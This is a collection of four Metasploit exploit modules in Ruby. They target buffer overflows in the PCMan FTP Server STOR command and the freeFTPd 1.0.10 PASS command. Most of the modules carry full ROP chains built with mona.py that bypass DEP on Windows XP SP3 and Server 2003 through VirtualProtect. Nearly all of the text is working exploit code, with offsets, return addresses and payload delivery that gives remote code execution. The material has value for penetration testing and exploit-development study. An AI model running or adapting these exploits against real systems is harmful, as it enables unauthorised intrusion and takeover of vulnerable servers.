PACMAN FTP STOR Command Exploit - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'PCMAN FTP Server STOR Command Stack Overflow',
'Description'    => %q{
                        This module exploits a buffer overflow vulnerability
                        found in the STOR command of the PCMAN FTP v2.07 Server
                        when the "/../" parameters are also sent to the server.
},
'Author'         =>
[
                    'Christian (Polunchis) Ramirez',    # Initial Discovery
                    'Rick (nanotechz9l) Flores',        # Metasploit Modul
'Muhamad Fadzil Ramli <mind1355 [at] gmail.com>', # metasploit module - DEP Bypass
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'EDB', '28328' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
                    # Windows XP (Build 2600, Service Pack 3)
[ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x77C46028, 'Offset' => 2002 } ], # RETN
                    # Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
[ 'Windows 2003 Server R2 SP2 EN',   { 'Ret' => 0x77BB8040, 'Offset' => 2002 } ], # RETN
],
'DisclosureDate' => 'Jul 17 2011',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /PCMan's FTP Server 2.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect_login

        case target_index()
            when 0
                print_status("Target ID: #{target.name}")
                # rop skeleton using mona.py
                rop =
                [
                    0x77c23960,  # POP EBP # RETN [msvcrt.dll]
                    0x77c23960,  # skip 4 bytes [msvcrt.dll]
                    #----------avoid null byte----------------
                    0x77c53436,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DE,  # EBX = 0x042444DE
                    0x77c4d04e,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB62,  # EDX = 0xFBDBBB62
                    0x77c2c7ae,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
                    0xFBDBBD23,  # EBX = 0xFBDBBD23
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c4e392,  # POP EAX # RETN
                    0x042444DE,  # EAX = 0x042444DE
                    0x77c50c77,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
                                 # 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
                    #-----------------------------------------
                    0x77c3b1ad,  # POP ECX # RETN [msvcrt.dll]
                    0x77c62f18,  # &Writable location [msvcrt.dll]
                    0x77c46116,  # POP EDI # RETN [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
                    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
                    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
                    0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
                    0x77c35524,  # ptr to 'push esp # ret ' [msvcrt.dll]
                ].flatten.pack("V*")
            when 1
                print_status("Target ID: #{target.name}")
                # rop skeleton using mona.py
                rop =
                [
                    0x77bb2563,  # POP EAX # RETN [msvcrt.dll]
                    0x77ba1114,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77bbf244,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
                    0x41414141,  # Filler (compensate)
                    0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll]
                    0x77bac27e,  # POP EBP # RETN [msvcrt.dll]
                    0x77be2265,  # & push esp # ret  [msvcrt.dll]
                    #----------avoid null byte------------------
                    0x77be1ef3,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB63,  # 0x00000040-> edx
                    0x77bcb691,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DD,  # EBX = 0x042444DD
                    0x77bbd50e,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
                    0xFBDBBD23,  # EBX** = 0xFBDBBD23
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BC541C,  # XOR EAX,EAX # INC EAX # RETN
                    0x77be2219,  # ADD EAX,42444DD # RETN
                    0x77BDFE37,  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                 # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
                    #-------------------------------------------
                    0x77bcadff,  # POP ECX # RETN [msvcrt.dll]
                    0x77bf2cfc,  # &Writable location [msvcrt.dll]
                    0x77bd88b8,  # POP EDI # RETN [msvcrt.dll]
                    0x77bd8c05,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77be3adb,  # POP EAX # RETN [msvcrt.dll]
                    0x90909090,  # nop
                    0x77be6591,  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                ].flatten.pack("V*")
        end

        rop << make_nops(32)
        rop << payload.encoded

print_status("Sending exploit buffer...")

        buf = Rex::Text.pattern_create( 3000 )

        buf[ target['Offset'],4] = [ target.ret ].pack('V')
        buf[ target['Offset']+8, rop.length ] = rop

        send_cmd( ['STOR', '/../' + buf], false )

handler
disconnect
end

end

Updated: freeftpd exploit with XP & W2K3 DEP bypass

Update ROP for windows XP and W2K3

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',

'Description'    => %q{

                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.

                credit goes to Wireghoul.

},

'Author'         =>

[

                    'Wireghoul - www.justanotherhacker.com', # original poc

'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module

],

'License'        => MSF_LICENSE,

'References'     =>

[

[ 'OSVDB', '96517' ],

[ 'EDB', '27747' ]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh'

},

'Privileged'     => false,

'Payload'        =>

{

'Space'    => 512,

'BadChars' => "\x00\x20\x0a\x0d",

},

'Platform'       => 'win',

'Targets'        =>

[

                    # Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass

                    [ 'Windows XP Pro SP3 EN - DEP',   { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C

                    # Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass

[ 'Windows 2003 Server SP2 EN - DEP',   { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C

                    # Wireghoul offset does not match mine, so using his offset as a credit to him

                    #[ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],

                    [ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],

],

'DisclosureDate' => 'Aug 21 2013',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner =~ /freeFTPd 1.0/)

return Exploit::CheckCode::Vulnerable

end

Exploit::CheckCode::Safe

end

def exploit

connect

        buf = rand_text_english(1000)

        case target_index()

            when 0

                print_status("Target ID: #{target.name}")

    

                # rop skeleton using mona.py

                rop =

                [

                    0x77c23960,  # POP EBP # RETN [msvcrt.dll]

                    0x77c23960,  # skip 4 bytes [msvcrt.dll]

                    #----------avoid null byte----------------

                    0x77c53436,  # POP EBX # RETN [msvcrt.dll]

                    0x042444DE,  # EBX = 0x042444DE

                    0x77c4d04e,  # POP EDX # RETN [msvcrt.dll]

                    0xFBDBBB62,  # EDX = 0xFBDBBB62

                    0x77c2c7ae,  # ADD EDX,EBX # POP EBX # RETN 0x10

                                 # 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040

                    0xFBDBBD23,  # EBX = 0xFBDBBD23

                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77c4e392,  # POP EAX # RETN

                    0x042444DE,  # EAX = 0x042444DE

                    0x77c50c77,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN

                                 # 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201

                    #-----------------------------------------

                    0x77c3b1ad,  # POP ECX # RETN [msvcrt.dll]

                    0x77c62f18,  # &Writable location [msvcrt.dll]

                    0x77c46116,  # POP EDI # RETN [msvcrt.dll]

                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]

                    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]

                    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]

                    0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]

                    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]

                    0x77c35524,  # ptr to 'push esp # ret ' [msvcrt.dll]

                ].flatten.pack("V*")

                rop << make_nops(32)

                rop << payload.encoded

                buf[12,rop.length] = rop

                

            when 1

                print_status("Target ID: #{target.name}")

                # rop skeleton using mona.py

                rop =

                [

                    0x77bb2563,  # POP EAX # RETN [msvcrt.dll]

                    0x77ba1114,  # ptr to &VirtualProtect() [IAT msvcrt.dll]

                    0x77bbf244,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]

                    0x41414141,  # Filler (compensate)

                    0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll]

                    0x77bac27e,  # POP EBP # RETN [msvcrt.dll]

                    0x77be2265,  # & push esp # ret  [msvcrt.dll]

                    #----------avoid null byte------------------

                    0x77be1ef3,  # POP EDX # RETN [msvcrt.dll]

                    0xFBDBBB63,  # 0x00000040-> edx

                    0x77bcb691,  # POP EBX # RETN [msvcrt.dll]

                    0x042444DD,  # EBX = 0x042444DD

                    0x77bbd50e,  # ADD EDX,EBX # POP EBX # RETN 0x10

                                 # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040

                    0xFBDBBD23,  # EBX** = 0xFBDBBD23

                    0x77BDFE3E,  # RETN (ROP NOP)

                    0x77BDFE3E,  # RETN (ROP NOP)

                    0x77BDFE3E,  # RETN (ROP NOP)

                    0x77BDFE3E,  # RETN (ROP NOP)

                    0x77BDFE3E,  # RETN (ROP NOP)

                    0x77BC541C,  # XOR EAX,EAX # INC EAX # RETN

                    0x77be2219,  # ADD EAX,42444DD # RETN

                    0x77BDFE37,  # ADD EBX,EAX # OR EAX, 3000000 # RETN

                                 # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201

                    #-------------------------------------------

                    0x77bcadff,  # POP ECX # RETN [msvcrt.dll]

                    0x77bf2cfc,  # &Writable location [msvcrt.dll]

                    0x77bd88b8,  # POP EDI # RETN [msvcrt.dll]

                    0x77bd8c05,  # RETN (ROP NOP) [msvcrt.dll]

                    0x77be3adb,  # POP EAX # RETN [msvcrt.dll]

                    0x90909090,  # nop

                    0x77be6591,  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]

                ].flatten.pack("V*")

                rop << make_nops(32)

                rop << payload.encoded

                buf[49+40,rop.length] = rop

            when 2

                print_status("Target ID: #{target.name}")

                buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded

                buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"

                buf[target['Offset'],4]   = [0xfffff9eb].pack("V")

        end

        buf[target['Offset']+4,4] = [target.ret].pack('V')

print_status("Sending exploit buffer...")

        send_user(datastore['FTPUSER'])

        send_pass(buf)

handler

disconnect

end

end

Updated : freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass',
'Description'    => %q{
                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
                credit goes to Wireghoul.

},
'Author'         =>
[
                    'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
                    # Windows .NET Server (Build 3790, Service Pack 2) 32bit
[ 'Windows 2003 Server Standard/Enterprise Edition',   { 'Ret' => 0x00493ede, 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

# mona.py
        rop  = [0x77bb2563].pack('V')  # POP EAX # RETN [msvcrt.dll] 
        rop << [0x77ba1114].pack('V')  # ptr to &VirtualProtect() [IAT msvcrt.dll]
        rop << [0x77bbf244].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll] 
        rop << [0x41414141].pack('V')  # Filler (compensate)
        rop << [0x77bb0c86].pack('V')  # XCHG EAX,ESI # RETN [msvcrt.dll] 
        rop << [0x77bac27e].pack('V')  # POP EBP # RETN [msvcrt.dll] 
        rop << [0x77be2265].pack('V')  # & push esp # ret  [msvcrt.dll]
        #---------------------------
        rop << [0x77be1ef3].pack('V')  # POP EDX # RETN [msvcrt.dll] 
        rop << [0xFBDBBB63].pack('V')  # 0x00000040-> edx 
        rop << [0x77bcb691].pack('V')  # POP EBX # RETN [msvcrt.dll]
        rop << [0x042444DD].pack('V')
        rop << [0x77bbd50e].pack('V')  # ADD EDX,EBX # POP EBX # RETN 0x10
                                       # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
        rop << [0xFBDBBD23].pack('V')  # EBX** = 0xFBDBBD23
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        #---------------------------
        rop << [0x77BC541C].pack('V')  # XOR EAX,EAX # INC EAX # RETN
        rop << [0x77be2219].pack('V')  # ADD EAX,42444DD # RETN
        rop << [0x77BDFE37].pack('V')  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                       # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
        #---------------------------
        rop << [0x77bcadff].pack('V')  # POP ECX # RETN [msvcrt.dll] 
        rop << [0x77bf2cfc].pack('V')  # &Writable location [msvcrt.dll]
        rop << [0x77bd88b8].pack('V')  # POP EDI # RETN [msvcrt.dll] 
        rop << [0x77bd8c05].pack('V')  # RETN (ROP NOP) [msvcrt.dll]
        rop << [0x77be3adb].pack('V')  # POP EAX # RETN [msvcrt.dll] 
        rop << [0x90909090].pack('V')  # nop
        rop << [0x77be6591].pack('V')  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] 

        rop << make_nops(32)
        rop << payload.encoded

        buf = rand_text_english(1000)
        buf[49+40,rop.length] = rop
        buf[target['Offset']+4,4] = [target.ret].pack("V") # SEH # ADD ESP,46C

print_status("payload size : #{buf.length}")

print_status("Sending exploit buffer...")
        send_user(datastore['FTPUSER'])
        send_pass(buf)

handler
disconnect
end

end

freeFTPd 1.0.10 PASS Command SEH Overflow - Metasploit Module

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
'Description'    => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.

},
'Author'         =>
[
'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 600,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Windows XP English SP3',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

        payload_size = payload.encoded.length

        buf = make_nops(1000)
        buf[(target['Offset']-11) - payload_size, payload_size] = payload.encoded
        buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
        buf[target['Offset'],4]   = [0xfffff9eb].pack("V")
        buf[target['Offset']+4,4] = [target.ret].pack("V")

print_status("Sending exploit buffer...")

        #buffer = Rex::Text.pattern_create(1000)
        send_user(datastore['FTPUSER'])
        send_pass(buf)

handler
disconnect
end

end